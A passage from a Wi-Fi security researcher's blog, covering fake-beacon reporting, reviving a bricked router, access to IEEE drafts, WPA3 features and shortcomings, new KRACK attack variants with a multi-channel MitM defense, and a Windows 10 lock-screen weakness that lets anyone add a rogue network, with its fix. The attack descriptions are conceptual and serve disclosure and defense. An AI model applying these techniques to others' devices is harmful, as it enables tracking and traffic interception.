to generate a second key.</div><div><br /></div><div><div><div><h3 style="text-align: left;">Have you thought about clients maliciously reporting fake beacons even if there aren't any?</h3></div></div><div><br /></div><div>We only prevent outsider attacks, so an insider can indeed maliciously report fake beacons. The impact of this is likely low though. The idea behind reporting fake beacons is that the network administrated is aware that something <i>fishy</i> is going on in the network (e.g. someone setting up rogue APs). So maliciously reporting fake beacons will annoy the network administrator, but other than that will likely have no impact.</div><div><br /></div><div>In practice we can also consider fake beacon reports valid if multiple clients send a report. Additionally, in an enterprise network such as Eduroam, the network administrator can determine the username of the device that reported a fake beacon. This means such misbehaving insiders can be issued a warning or even banned from the network.<br /></div></div></div>Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.com0tag:blogger.com,1999:blog-3500917063499850097.post-90785753330213037642020-06-21T03:50:00.004+02:002020-06-21T20:19:48.826+02:00Riving a router stuck in an infinite reboot loop<div dir="ltr" style="text-align: left;" trbidi="on">
When doing wireless security research, you need enough devices to test and confirm your findings. Results have to be practical, after all. Due to COVID-19, this became more tedious: access to the lab is being limited, making it harder to test many devices.<br />
<br />
Because I wanted some extra devices to <strike>hack</strike> play around with, I realized that I still had a router from my ISP. The problem is that I bricked that router more than a year ago: stuck in an infinite reboot loop, after accidentally including a backtick ` into the wrong field. This menacing <b>backtick likely caused some start-up process to fail, trigger a reboot of the router</b>. I didn't want to bother with calling the ISP and explaining that yes, I already rebooted it — in fact it rebooted a thousand times already — before getting it replaced. So I simply used my own router instead.<br />
<br />
But now it became interesting to get that router working. So how can we revive it? Pressing the reset button in various ways, and for more than 30 seconds, had no effect. That's not good... On the bright side, the router did seem to briefly be operating before it reboots. Maybe that gives enough time to quickly navigate to the management interface and reset the field? Unfortunately not, the <b>management interface is operational for just one second</b>.<br />
<br />
My solution was to make a script to detect when the router is operational, and within the available section automatically navigate the management interface, reset some options, and hope that will fix it. To immediately <b>detect when the router is being (briefly) operational</b>, I wrote the following scapy script:<br />
<br />
<script src="https://gist.github.com/vanhoefm/eb515eb8b0adac02081e07878f4f99b7.js"></script>
The above script rapidly sends ARP requests for the IP of the router. Once an ARP reply is received the scrip exits. This needs to be run as root because we're using raw packet injection.</div><div dir="ltr" style="text-align: left;" trbidi="on"><br /></div><div dir="ltr" style="text-align: left;" trbidi="on">
One the router is accessible, we need to <b>rapidly navigate to its management page, log in, and try to reset it</b> from there. Luckily, with selenium we can do exactly that:</div><div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<script src="https://gist.github.com/vanhoefm/7d6216205d07e123b5951ffecce4ab83.js"></script>
</div><div dir="ltr" style="text-align: left;" trbidi="on">The above code <b>only worked after tweaking the sleep calls</b>. If the were even a tiny bit longer, the router would already be rebooting. If they were shorter, the page wouldn't have loaded yet. After a few attempts, this managed to reset the router!
<br />
</div><div dir="ltr" style="text-align: left;" trbidi="on"><br /></div><div dir="ltr" style="text-align: left;" trbidi="on">The router did behave unusual after this reset. Wi-Fi was working in the 5 GHz band, but not in the 2.4 GHz band, and some other strange behaviour. This was fixed by manually resetting the router a second time. Probably when we reset the router for the first time it rebooted in the middle of resetting its configuration, which resulted in an inconsistent configuration. Anyway, now everything worked, without having to make annoying calls to the ISP.<br /></div>
Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.comtag:blogger.com,1999:blog-3500917063499850097.post-20024720284161405322019-09-25T01:27:00.000+02:002019-09-29T12:27:35.409+02:00Accessing and Inspecting Draft IEEE Standards<div dir="ltr" style="text-align: left;" trbidi="on">
This is going to be a quick blog post on how you can access IEEE standards. I'll also show how you can follow ongoing discussions, at least to some extend. <br />
<br />
<b><span style="font-size: large;">Why Inspect Drafts</span></b><br />
<br />
Security protocols tend to fail when they are developed behind closed doors. They also fail when it's too hard to join discussions. We saw this with WPA3: its Dragonfly handshake was standardized in the IEEE 802.11 standard back in 2011, and there was little involvement of security researchers at the time. Only when attempts were made to standardize Dragonfly for TLS, was there significant feedback and criticism due to the much more open nature of TLS.<br />
<br />
<b><span style="font-size: large;">Official Solutions</span></b><br />
<br />
Technically, anyone can <b><i>give comments</i> on draft IEEE standards by <i>paying money</i></b>. This is called the <a href="https://publicreview.standards.ieee.org/public-review-web/public-app">IEEE-SA Public Review</a>. During a period of 60 days, you can buy a draft version of the standard. You can then submit a comment, and the working group that is responsible for the standard is required to give a reply:<br />
<blockquote class="tr_bq">
"The Working Group will consider your comments and provide a response. You will be able to view the responses in the IEEE SA Public Review system."</blockquote>
While this is something, most researchers won't use this. The biggest obstacle is that you don't know whether it will be interesting to analyze the standard before buying it. A lot of times you take a quick skim at a new standard, and come to the conclusion that there's nothing worth to research. This can have multiple reasons: the standard looks secure, it's outside your area of expertise, researching it will be more time consuming than expected, and so on.<br />
<br />
One might assume that another option is becoming an IEEE member. However, IEEE membership alone does not give access to standards under development. And even if it did, it would have the same problem as the IEEE-SA Public Review: few will become a member merely to quickly take a look at a standard. <br />
<br />
Published standards can be downloaded for free after 6 months through the <a href="https://ieeexplore.ieee.org/browse/standards/get-program/page/series?id=68">IEEE GET Program</a>. While this is certainly useful, waiting 6 months is too much. After this time it's no longer possible to influence the standards, and vendors will already be implementing it.<br />
<br />
<span style="font-size: large;"><b>Unofficial Solution: Send a Mail!</b></span><br />
<br />
There's one other way to research and discuss upcoming IEEE standards:<br />
<ol style="text-align: left;">
<li>Most working groups (<a href="http://802.11/">802.11</a>, <a href="http://802.15/">802.15</a>, <a href="http://802.19/">802.19</a>, etc) publicly host their their working documents. This includes presentations that propose new extensions, draft amendments, meeting notes, and so on. You can <b>search through these with google using "<span style="font-family: inherit;">search terms site:mentor.ieee.org</span>"</b>. It can be difficult to understand amendments this way, but it allows you to determine what they are working on, and if it would be interesting to research.</li>
<li>If there is something you want to give feedback on, or research in more detail, you can <b>try emailing the people that are working on it</b>. E-mail addresses should be available in the documents you find on mentor.ieee.org Hopefully they can then bring you up-to-date on the latest progress in the draft standard. </li>
</ol>
This unfortunately isn't an official solution. You need some luck with finding and understanding publicly available documents, and finding IEEE members that want to discuss things with you. Nevertheless, <b>this has worked for me in the past</b>. Already having done research in this area will help (e.g. research on already published versions of the standard).<br />
<br />
<b><span style="font-size: large;">A Better Future?</span></b><br />
<br />
Before dashing out too much criticism, let's remember a similar situation in academia: a large number of papers are locked behind paywalls. We're slowly changing this by having more open access policies, but unfortunately large and systematic change takes time. The same will be true for industry standards: major changes will take time. Fortunately, there are some steps we can take right now: researchers can contact the IEEE, or more precisely IEEE members that are working on new standards, and ask for access to draft standards. Likely they'll be happy to discuss things and get feedback, and this might slowly result in more collaboration.<br />
<br />
Perhaps one solution is that members of organizations such as the International Association for Cryptologic Research (IACR) can become IEEE members without having to pay fees. Or at least have a membership type where you can only inspect standards. Such collaborations would make it easier for academics to inspect standards, while still having some control over who can access them.</div>
Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.comtag:blogger.com,1999:blog-3500917063499850097.post-85312606384124920992018-06-27T00:14:00.003+02:002018-06-27T16:46:30.899+02:00WPA3: A Missed Opportunity<div dir="ltr" style="text-align: left;" trbidi="on">
Almost half a year ago, the Wi-Fi Alliance made a press release announcing they were working on WPA3. In a <a href="https://www.mathyvanhoef.com/2018/03/wpa3-technical-details.html">previous blog post</a>, I discussed the four main features that were mentioned in this press release. Today, the WPA3 certification program is finally released publicly. Unfortunately, only one of the four initially announced features are a mandatory part of WPA3.<br />
<br />
<span style="font-size: x-large;"><b>The WPA3 Certification Program</b></span><br />
<br />
First, it's important to know WPA3 is a so-called <i>certification program</i>. It's not a new standard or protocol. Instead, the <a href="https://www.wi-fi.org/discover-wi-fi/security">Wi-Fi CERTIFIED WPA3</a> program specifies which existing standards (e.g. protocols) a product must support. <b>If a product correctly implements these standards, it can use the "Wi-Fi CERTIFIED WPA3" label</b>. In other words, this label indicates that the device passed a whole bunch of tests, meaning it will be interoperable with other devices that obtained the WPA3 certified label.<br />
<br />
So what are the features that a WPA3 certified device must support? Initially, the press release at the beginning of this year suggested that WPA3 would require support of <a href="https://www.mathyvanhoef.com/2018/03/wpa3-technical-details.html">four major features</a>. Summarized, these features consisted of a new handshake called dragonfly (which is resistant against dictionary attacks), an easy method to securely add new devices to a network, some basic protection when using open hotspots, and finally increased key sizes. Unfortunately, the <b>WPA3 certification program only mandates support of the new dragonfly handshake</b>. That's it. The other features are either optional, or a part of other certification programs. <b>I fear that in practice this means manufacturers will just implement the new handshake, slap a "WPA3 certified" label on it, and be done with it.</b><br />
<br />
But what happened exactly to the other three promised features? First, the technology to easily and securely add new devices to a network will be certified under the <a href="https://www.wi-fi.org/discover-wi-fi/wi-fi-easy-connect">Wi-Fi CERTIFIED Easy Connect program</a>. Second, improved security features for open hotspots (based on unauthenticated encryption) will be tested for interoperability under the <a href="https://www.wi-fi.org/news-events/newsroom/wi-fi-certified-enhanced-open-delivers-data-protection-in-open-wi-fi-networks">Wi-Fi CERTIFIED Enhanced Open program</a>. This means that if you buy a device that is WPA3 capable, there is no guarantee whatsoever that it supports these two features. Third, the increased key sizes are an optional part of the WPA3
certification. More precisely, only when using WPA3-Enterprise are the increased key sizes mandatory. Note that WPA3-Enterprise refers to enterprise authentication, where the login credentials are for example a username and password (instead of a simple pre-shared key in home networks). Finally, the key sizes that are used to encrypt traffic after connecting to a
network aren't required to be increased at all.<br />
<br />
It's also worth mentioning that WPA3 will mandate support of Protected
Management Frames (PMF). But that's not surprising: WPA2 also mandates support of PMF since the beginning of this year. Note that PMF prevents deauthentication attacks, and also offers other
benefits. That said, I'm quite sure <b>people will find new ways to bypass
PMF and still forcibly disconnect clients from a network</b>.<br />
<br />
To summarize, here's an overview of new features that are and aren't part of WPA3:<br />
<ol style="text-align: left;">
<li>The dragonfly handshake (also called Simultaneous Authentication of Equals) is a mandatory part of WPA3. So if in the future you select "WPA3-Personal" in your home router, you will be using this handshake. This means dictionary attacks against the handshake will be longer be possible.</li>
<li>The replacement of Wi-Fi Protected Setup (WPS) will be called Wi-Fi Easy Connect. It is based on the Device Provisioning Protocol (DPP). It is not part of WPA3.</li>
<li>To provide unauthenticated encryption when connecting to an open hotspot, the Wi-Fi Alliance introduced Wi-Fi Enhanced Open. The standard behind this marketing term is Opportunistic Wireless Encryption. It is not part of WPA3. Note that even if opportunistic encryption is being used, it is trivial for an attacker to set up a rogue AP and intercept all traffic.</li>
<li>WPA3-Enterprise networks will support key sizes that offer the equivalent of 192-bit security. But the increased key sizes are only required during the authentication stage. Moreover, the WPA3-Enterprise mode is an optional part of WPA3.</li>
</ol>
All combined, this means that the only required part of WPA3 is the
new dragonfly handshake. While this handshake is an improvement over the old
4-way handshake of WPA2, the Wi-Fi Alliance could have improved security a lot more,
by also making the other features a mandatory part of WPA3. It seems the Wi-Fi Alliance focused on keeping WPA3 easy to implement for vendors, but not on improving the security of users.<br />
<br />
<b><span style="font-size: x-large;">Conclusion</span></b><br />
<br />
The Wi-Fi Alliance missed an opportunity to truly improve the security of Wi-Fi networks. Instead, due to the vague press release earlier this year, and the closed discussions afterwards, most users were left confused and unsure about what will and won't be part of WPA3. In particular, even though the press release promised several good enhancements, only one of them is mandatory under WPA3. Indeed, only the dragonfly handshake is mandatory. While this handshake is an improvement over the old 4-way handshake of WPA2, they could have done a lot more. As a result, the WPA3 certification program is a missed opportunity that could have truly improved Wi-Fi security.<br />
<br />
Minor update: it is worth noting that vendors may step up and still implement all the other security features. In particular, <b>I hope most vendors will nevertheless implement Wi-Fi Enhanced Open and/or Wi-Fi Easy Connect</b>.</div>
Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.comtag:blogger.com,1999:blog-3500917063499850097.post-18176648203437008862018-06-07T16:25:00.000+02:002018-06-07T21:18:13.256+02:00unKRACK: Mitigating Future WPA2 Vulnerabilities<div dir="ltr" style="text-align: left;" trbidi="on">
In the past few months, I've been working on new results regarding the KRACK attack against WPA2. This includes <b>improved (and more practical) exploitation techniques, and a method to mitigate future attacks against WPA2</b>. I hope to present both topics in more detail at either my HITB Singapore talk if accepted (<a href="https://gsec.hitb.org/vote/?a=view&id=9">so please for vote it</a>), or in a more detailed future blog post. In the meantime this post briefly introduces both topics.<br />
<br />
<b><span style="font-size: large;">Improved Exploitation Techniques</span></b><br />
<br />
A few implementation-specific improvements of the KRACK attack have already been discussed in my <a href="https://papers.mathyvanhoef.com/opcde2018-slides.pdf">OPCDE presentation</a>. Other new research on improved attack techniques is being finalized, and I hope to release these new attack techniques in the near future. The implementation-specific attack improvements that were already discussed in my OPCDE talk are:<br />
<ol style="text-align: left;">
<li><b>Attacking Access Points (APs)</b>. In the original attack against the 4-way handshake, we generated retransmitted message 3's to attack the client. This affected nearly all clients, because the WiFi standard mandates that retransmitted message 3's must be processed. In contrast, the standard says that retransmitted message 4's should be ignored. But of course APs may be buggy, and process retransmitted message 4's anyway. And indeed, we discovered one driver that accepts retransmitted message 4's, and reinstalls the session key while processing them. This means the <b><a href="https://wikidevi.com/wiki/MediaTek_MT7620">100+ different routers and APs using this chipset/driver </a>are all likely vulnerable</b>.</li>
<li><b>SNonce and ANonce reuse.</b> We also discovered that macOS reused the (normally random) SNonce during a rekey handshake. Similarly, hostapd was reusing the ANonce during a rekey. This means that if an unpatched macOS was connected to an unpatched hostapd AP, rekeys caused the reinstallation of the current session key! As a result, it becomes possible to <b>decrypt old captured traffic</b> captured between a macOS and hostapd AP.</li>
<li><b>Group key installation issues.</b> We also noticed that many devices accept replayed broadcast traffic. To attack these devices, there is no need to trigger a reinstallation of the group key, the adversary can simply replay broadcast packets. Additionally, some devices improperly initialize the receive replay counter when installing the group key, which can again be abused to replay broadcast frames.</li>
</ol>
Note that the above are all implementation-specific new vulnerabilities, these are not new weaknesses in the WiFi standard.<br />
<br />
<b><span style="font-size: large;">Preventing Multi-Channel Man-in-the-Middle Attacks</span></b><br />
<br />
Traditional attacks against protected WiFi networks only require an attacker to sniff and (optionally) inject packets. For example, WEP can be broken by passively sniffing packets, and dictionary attacks against WPA2 merely require a passive capture of the 4-way handshake. In other words, these attacks don't require a man-in-the-middle (MitM) position between the client and AP. In contrast, <b>most recent attacks against WPA2 require a MitM position</b>. For example, several KRACK attacks against WPA2 handshakes require the ability to block packets. Similarly, certain attacks against (WPA-)TKIP require a MitM position, as do <a href="https://papers.mathyvanhoef.com/usenix2016-web.pdf">other</a> <a href="https://papers.mathyvanhoef.com/usenix2016-wifi.pdf">attacks</a> <a href="https://lirias2repo.kuleuven.be/bitstream/handle/123456789/572634/asiaccs2017.pdf">against</a> the 4-way handshake and encryption algorithms of WPA2.<br />
<br />
In all these attacks, the <b>MitM position is established using a multi-channel technique</b>. In this technique, the adversary clones the AP on a different channel, and tricks the client (victim) into connecting to the AP on this rogue channel. The adversary then forward frames between both channels so the client and AP can communicate. This enables the adversary to reliably delay, block, or modify (encrypted) frames sent between the client and AP.<br />
<br />
Together with Broadcom and Intel, <b>we designed an extension to the WiFi standard to prevent such multi-channel MitM attacks</b>. This makes exploiting future weaknesses in protected WiFi networks harder, to practically infeasible. The idea behind our defense is to cryptographically authenticate the parameters that define the operating channel. This enables two communicating WiFi devices to detect when they are operating on different channels, and hence to detect when they are under attack.<br />
<br />
We're <b>doing a lot of work to get this extension deployed in practice</b>. First, we have an <a href="https://papers.mathyvanhoef.com/wisec2018.pdf">academic paper</a> discussing the high-level design of our extension. Second, we are submitting our proposal for <a href="https://mentor.ieee.org/802.11/dcn/17/11-17-1807-10-000m-defense-against-multi-channel-mitm-attacks-via-operating-channel-validation.docx">inclusion in the official WiFi standard</a>. So far the general WiFi industry appears receptive of our mechanism, so I have good hopes that this will be included in the standard. Third, we have a <a href="https://github.com/vanhoefm/hostap-channel-validation">working proof-of-concept</a> where the 4-way handshake validates the current operating channel using our extension. We plan to improve this code so it will be included in wpa_supplicant and hostapd, meaning all Linux and Android devices will support this in the near future (and hopefully other vendors will implement this soon too).<br />
<br />
To summarize, <b>our technique to prevent multi-channel MitM attacks is a bit like stack canaries</b>: it makes attacks harder, though not impossible. And we hope that just like with stack canaries, it will soon become a common method to harden and protect WiFi networks.</div>
Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.comtag:blogger.com,1999:blog-3500917063499850097.post-44988355630399384042018-03-12T06:56:00.001+01:002018-06-27T09:50:06.796+02:00WPA3: Technical Details and Discussion<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: left;">
<i><b>Update 26 June 2018</b>: The Wi-Fi Alliance released the specification of WPA3. For an <a href="https://www.mathyvanhoef.com/2018/06/wpa3-missed-opportunity.html">up-to-date discussion of WPA3, see my new blog post</a>. Summarized, <u><b>only section "A More Secure Handshake" is a mandatory part of WPA3</b></u>. Section "Increased Session Key Sizes" is optional, and only required when using WPA3-Enterprise. The other features discussed in this post are not part of WPA3.</i><br />
<br />
<i>Update 20 May 2018: A short description of the DPP protocol was added, and more information is provided about increased key sizes of WPA3.</i><br />
<br />
The <a href="https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements">Wi-Fi Alliance made a press release</a> where it announced WPA3. Unfortunately, this did not include many technical details. Nevertheless, we'll interpret the press release from a technical perspective. In particular, it mentions WPA3 will include four major new security features:</div>
<br />
<b><span style="font-size: large;">1. A More Secure Handshake</span></b><br />
<br />
They explain that WPA3 will <i>"deliver robust protections even when users choose passwords that fall short of typical complexity recommendations"</i>. This means that personal networks, in other words ordinary home networks that are protected with a single password, will be required to use the <a href="http://ieeexplore.ieee.org/abstract/document/4622764/">Simultaneous Authentication of Equals (SAE)</a> handshake. Most importantly, this handshake is resistant against <a href="https://crypto.stackexchange.com/questions/25715/what-is-the-difference-between-online-and-offline-brute-force-attacks">offline</a> <a href="https://en.wikipedia.org/wiki/Dictionary_attack">dictionary attacks</a>. In contrast, personal WPA2 networks that use a weak password are <a href="https://www.aircrack-ng.org/doku.php?id=cracking_wpa">vulnerable to offline dictionary attacks</a>. Since in practice many networks use weak passwords, resistance against this attack is a major improvement.<br />
<br />
On top of that, there is a <a href="http://orbilu.uni.lu/bitstream/10993/24767/1/Dragonfly.pdf">security proof</a> that indicates the design of the new SAE handshake is secure. The proof also confirms that the handshake provides forward secrecy: if an attacker ever learns the password of a network, they cannot use it to decrypt old captured traffic. This is again in contrast to WPA2, where learning the password allows an attacker to decrypt old traffic. So again the SAE handshake of WPA3 offers a major improvement.<br />
<br />
Nevertheless, some caution is warranted. If the handshake is not carefully implemented, it is vulnerable to <a href="https://tools.ietf.org/html/draft-harkins-tls-dragonfly-00#section-8">side-channel attacks</a>. Additionally, because the handshake was designed to be a <a href="https://tools.ietf.org/id/draft-irtf-cfrg-pake-reqs-02.html#rfc.section.3.1">balanced PAKE</a>, the access point (AP) must store the password in plaintext. Put differently, the AP cannot store some derivation of the password, meaning if someone gains access to the AP they can read out the plaintext password. Finally, just because there is a security proof, does not guarantee it is indeed secure. After all, WPA2 also had a security proof, but could still be attacked. Therefore it remains important to verify that the security proof is correct, makes valid assumptions, proves the correct properties, models real implementations, etc.<br />
<br />
On a more technical level, the SAE handshake is a variant of the <a href="https://tools.ietf.org/html/rfc7664">Dragonfly handshake defined in RFC 7664</a>, which in turn is based on the SPEKE handshake. In a Wi-Fi network, the SAE handshake negotiates a fresh Pairwise Master Key (PMK). The resulting PMK is then used in a traditional 4-way handshake to generate session keys. This means the SAE handshake is always followed by a 4-way handshake. Although it may be surprising to learn that the 4-way handshake is still being used, this construction does avoid the weaknesses of the 4-way handshake. That's because the 32-byte PMK that the SAE handshake negotiates cannot be guessed using a dictionary attack, even though it's used in the 4-way handshake. Additionally, forward secrecy is indeed provided because the SAE handshake assures the PMK cannot be recovered if the password becomes known.<br />
<br />
You can view <a href="https://www.cloudshark.org/captures/3638626f4551">the pcap of an example SAE handshake online on cloudshark</a>.<br />
<br />
<b><span style="font-size: large;">2. Replacement of Wi-Fi Protected Setup (WPS)</span></b><br />
<br />
The second improvement that WPA3 brings is <i>"simplified, secure configuration and onboarding for devices with limited or no display interface"</i>. This refers to the replacement of Wi-Fi Protected Setup (WPS). Note that <a href="https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Vulnerabilities">WPS is considered insecure</a>. More precisely, the replacement of WPS will be the <a href="https://www.wi-fi.org/file/wi-fi-device-provisioning-protocol-dpp-draft-technical-specification-v0023">Wi-Fi Device Provisioning Protocol (DPP)</a>. This protocol allows you to securely add new devices to a network using a QR code or a password. It also defines methods to add devices using NFC, and using Bluetooth. At its core, DPP relies on public keys to identify and authenticate devices.<br />
<br />
The DPP protocol itself consists of three main phases. In the first phase, called bootstrapping, the public key of the new device (i.e. the device being added to the network) is obtained. This can be accomplished by scanning a QR code that encodes the public key, or by exchanging and encrypting the public key wirelessly using <a href="https://tools.ietf.org/html/draft-harkins-pkex-05">the PKEX protocol</a>. As previously suggested, it is also possible to transfer the public key using NFC or Bluetooth. Each method provides different levels of guarantees as to whether the obtained public key indeed belongs to the new device.<br />
<br />
In the second phase, called authentication and provisioning, the now trusted public keys are used to establish a (temporary) authenticated connection, over which credentials can be exchanged. The exchanged credentials are not yet the final credentials to connect to the network. Instead, the exchanged credential is a so-called connector. This connector is used in the final phase of the DPP protocol, called the network access phase, to establish the actual networks keys. More precisely, the connect is used to perform a Diffie-Hellman exchange to establish a Pairwise Master Key (PMK). This PMK can then be used to access the network in a normal fashion.<br />
<b><span style="font-size: large;"><br /></span></b>
<b><span style="font-size: large;">3. Unauthenticated Encryption</span></b><br />
<br />
<div class="a3s aXjCH m16215cb9e2265b03" id=":ku">
<div dir="auto">
<div dir="auto">
The
third feature of WPA3 <i>"strengthens user privacy in open networks through individualized data encryption"</i>. This refers to unauthenticated
encryption for open networks (i.e. for public hotspots). More
precisely, I believe WPA3 will require support for <a href="https://tools.ietf.org/html/rfc8110">Opportunistic Wireless Encryption</a> (OWE). In practice this would mean a passive
adversary, which can only sniff/monitor traffic, will not be able to
read traffic of clients. Unfortunately, an active adversary can still
create a fake AP, trick victims into connecting to this fake AP, and
then read all traffic of connected clients.</div>
<div dir="auto">
<br /></div>
<div dir="auto">
Remark
that the common practice of setting up a WPA2 network, and then publicly sharing
the password to customers, does not prevent a passive
adversary from decrypting all traffic. That's because an adversary only
needs to capture the handshake the client executes when connecting to a
WPA2 network, and then combine it with the public password to decrypt
all frames between the client and AP. Active attacks against this setup
are equally trivial: an adversary can set up a WPA2 network with the
same name and password. Clients (e.g. customers) will then connect to
the AP of the adversary, again allowing the adversary to intercept and
read all traffic.</div>
<div dir="auto">
<br /></div>
<div dir="auto">
The
advantage of OWE is that passive attacks are prevented. Unfortunately, active attacks still enable an adversary to intercept traffic.
Nevertheless, under the motto of <a href="https://tools.ietf.org/html/rfc7435">RFC 7435 "Some Protection Most of the Time"</a> this still increases security. One shortcoming of OWE is that
there is no mechanism to <a href="https://en.wikipedia.org/wiki/Trust_on_first_use">trust an AP on first use</a>. Contrast this with, for
example, SSH: the first time you connect to a SSH server, you can trust the
public key of the server. This prevents an adversary from intercepting
traffic in the future. However, with OWE there is no option to trust a particular
AP on first use. So even if you connected to a particular AP previously, an
adversary can still set up a fake AP and make you connect to it in the future.</div>
<div dir="auto">
<br /></div>
<div dir="auto">
On
a technical level, the OWE handshake negotiates a new PMK using a
Diffie-Hellman key exchange. This handshake is encapsulated in
Information Elements (IEs) in the (re)association request and response
frames. The resulting PMK is used in a 4-way handshake, which will
negotiate and install frame encryption keys.</div>
</div>
</div>
<b><span style="font-size: large;"><br /></span></b>
<b><span style="font-size: large;">4. Increased Session Key Sizes</span></b><br />
<br />
Finally, the fourth improvement that WPA3 offers is increased key sizes. More specifically, they refer to the Commercial National Security Algorithms (CNSA) suite. This means WPA3 will support AES-GCM with 256-bit keys for encryption, and elliptic curve cryptography based <a href="https://en.wikipedia.org/wiki/P-384">384-bit curves</a>. Additionally, SHA384 of the <a href="https://en.wikipedia.org/wiki/SHA-2">SHA2 family</a> will be used, and any employed RSA keys must be at least 3072 bits in size. All combined, this results in 192-bit security, because that's roughly the effective strength of 384-bit elliptic curves and SHA384.<br />
<br />
<span style="font-size: large;"><b>Improvements to WPA2</b></span><br />
<br />
It's also interesting to note that the Wi-Fi Alliance now <a href="https://www.wi-fi.org/discover-wi-fi/security">mandates support of Protected Management Frames (PMF)</a> as part of its WPA2 certification. This means new WPA2-certified devices are now <i>required</i> to support PMF. This prevents deauthentication attacks where an adversary can forcibly disconnect clients from a Wi-Fi network. On top of that, it seems they will fuzz implementations of WPA2. Or to put it in their words, they will perform <i>"Enhanced validation of vendor security implementations"</i>. <a href="https://www.youtube.com/watch?v=AnTmqumcCow">In particular</a> devices are tested to assure they validate server certificates properly, and that they are patched against the <a href="https://www.krackattacks.com/">KRACK attack against WPA2</a>.</div>
Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.comtag:blogger.com,1999:blog-3500917063499850097.post-247517563366482682017-02-20T03:18:00.001+01:002017-02-20T15:23:13.542+01:00Windows 10 Lock Screen: Abusing the Network UI for Backdoors (and how to disable it)<div style="text-align: justify;">
This is a short blog post about a peculiar decision that Microsoft made. When you lock your computer on Windows 10, you are still able to connect to wireless networks. It's even possible to connect to new networks. You simply click on the network icon in the bottom right, and then add the wireless network:</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjumLfULcrEnOk0HWuaaStH5w1APg-wUV0frM2Ds5UJaHvU1C6E1dYXnPQPRTH9ImY0OocMLuEcUoCp8Qs_rwMMXVSMiiqeMES9ASysB7zdWfwlrjX0MpLJddY-d5ZNM-Jh_cknz2tfa44Y/s1600/networkui.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="278" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjumLfULcrEnOk0HWuaaStH5w1APg-wUV0frM2Ds5UJaHvU1C6E1dYXnPQPRTH9ImY0OocMLuEcUoCp8Qs_rwMMXVSMiiqeMES9ASysB7zdWfwlrjX0MpLJddY-d5ZNM-Jh_cknz2tfa44Y/s400/networkui.png" width="400" /></a></div>
<br />
<div style="text-align: justify;">
So what's the deal with this? Well, it means that<b> anyone can make your device connect to a possibly malicious wireless network</b>. As an attacker you simply have to broadcast a network, wait until it shows up in the network list, and connect to it:</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjx80AkHOtSioiQqXFx_cmZ_iAxp7ZVwusgwZ9gilJ7Ze7ez73SrKG2IVsksRA47cO4R99IMT4spqku-u5k_GzBvyP5nViDVTy-HPrHAmGER1ppx0y57bvJkiYyMFdqbYvKhS4NkK8jjVQG/s1600/backdoornet.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjx80AkHOtSioiQqXFx_cmZ_iAxp7ZVwusgwZ9gilJ7Ze7ez73SrKG2IVsksRA47cO4R99IMT4spqku-u5k_GzBvyP5nViDVTy-HPrHAmGER1ppx0y57bvJkiYyMFdqbYvKhS4NkK8jjVQG/s1600/backdoornet.png" /></a></div>
<br />
<div style="text-align: justify;">
The victim will now automatically connect to the attacker's network whenever it is nearby. This is unwanted behavior. Since the victim automatically connects to it, <b>it can be used to track the victim, and to intercept and manipulate his or her network traffic</b>.</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQg3951Ox0SM4A8se60krigf_5wjynKePGHXsm4UXB7RycD-oXZ8ghml8cPppF3kbJmQQYccyY-L7E89IpA6iGRvI4AMnCYtzgqgjT7VD_VAC2RN7TMxBQ-na6BYUI_4z8uPRKHJQoYTF5/s1600/connected.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQg3951Ox0SM4A8se60krigf_5wjynKePGHXsm4UXB7RycD-oXZ8ghml8cPppF3kbJmQQYccyY-L7E89IpA6iGRvI4AMnCYtzgqgjT7VD_VAC2RN7TMxBQ-na6BYUI_4z8uPRKHJQoYTF5/s1600/connected.png" /></a></div>
<br />
<div style="text-align: justify;">
This is not ideal. <b>When I lock my laptop, I don't expect someone to able to change my network configuration!</b> But now someone can add a (possibly unencrypted!) wireless network to my config, and my device will automatically connect to it.</div>
<br />
Thankfully, it's possible to disable the network menu at the lock screen. Open the Windows menu and type "Edit group policy" and open this tool. Now <b>go to "Computer Configuration\Administration Templates\System\Logon" and enable "Do not display network selection UI"</b>:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1L7v8AUNM_3zWjD_g0-8HeVm97fR6quML3xbp-D1Y19eDjuOJQHfamT_MIc6u2WzuOPhombvKPPrcTGxMDCaHWFu3nlLKR42TdPP58Ix92MKTlKdfr_q78Qfr-DR1tiF8e2lc5K2HcikV/s1600/grouppolicy.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1L7v8AUNM_3zWjD_g0-8HeVm97fR6quML3xbp-D1Y19eDjuOJQHfamT_MIc6u2WzuOPhombvKPPrcTGxMDCaHWFu3nlLKR42TdPP58Ix92MKTlKdfr_q78Qfr-DR1tiF8e2lc5K2HcikV/s1600/grouppolicy.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
